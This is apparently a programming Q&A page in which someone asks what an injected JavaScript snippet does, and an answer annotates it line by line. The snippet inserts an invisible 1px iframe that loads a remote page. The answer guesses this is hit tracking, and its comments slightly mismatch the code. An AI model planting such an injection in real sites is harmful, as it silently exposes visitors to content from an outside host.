Skip to content
Advertisement

Malicious JavaScript code

What exactly is this malicious javascript code doing?

(function () {
    var qk = document.createElement('iframe');

    qk.src = 'http://xxx.tld/wp-includes/dtd.php';
    qk.style.position = 'absolute';
    qk.style.border = '0';
    qk.style.height = '1px';
    qk.style.width = '1px';
    qk.style.left = '1px';
    qk.style.top = '1px';

    if (!document.getElementById('qk')) {
        document.write('<div id='qk'></div>');
        document.getElementById('qk').appendChild(qk);
    }
})();

The website at http://xxx.tld/wp-includes/dtd.php just returns OK.

Advertisement

Answer

It is:

(function () {
    var qk = document.createElement('iframe');  // creating an iframe

    qk.src = 'http://xxx.tld/wp-includes/dtd.php';  // pointing it at a webpage

    /*
    making the iframe only take up a 1px by 1px square
    in the top left-hand corner of the web page it is injected into
    */
    qk.style.position = 'absolute';
    qk.style.border = '0';
    qk.style.height = '1px';
    qk.style.width = '1px';
    qk.style.left = '1px';
    qk.style.top = '1px';

    /*
    Adding the iframe to the DOM by creating a <div> with an ID of "qt"
    (If the div has not been created already)
    */    
    if (!document.getElementById('qk')) {
        document.write('<div id='qk'></div>');
        document.getElementById('qk').appendChild(qk);
    }
})();

When the iframe is injected into the DOM the browser will make a request to http://xxx.tld/etc. It is most likely doing this to track hits on your site.

User contributions licensed under: CC BY-SA
10 People found this is helpful
Advertisement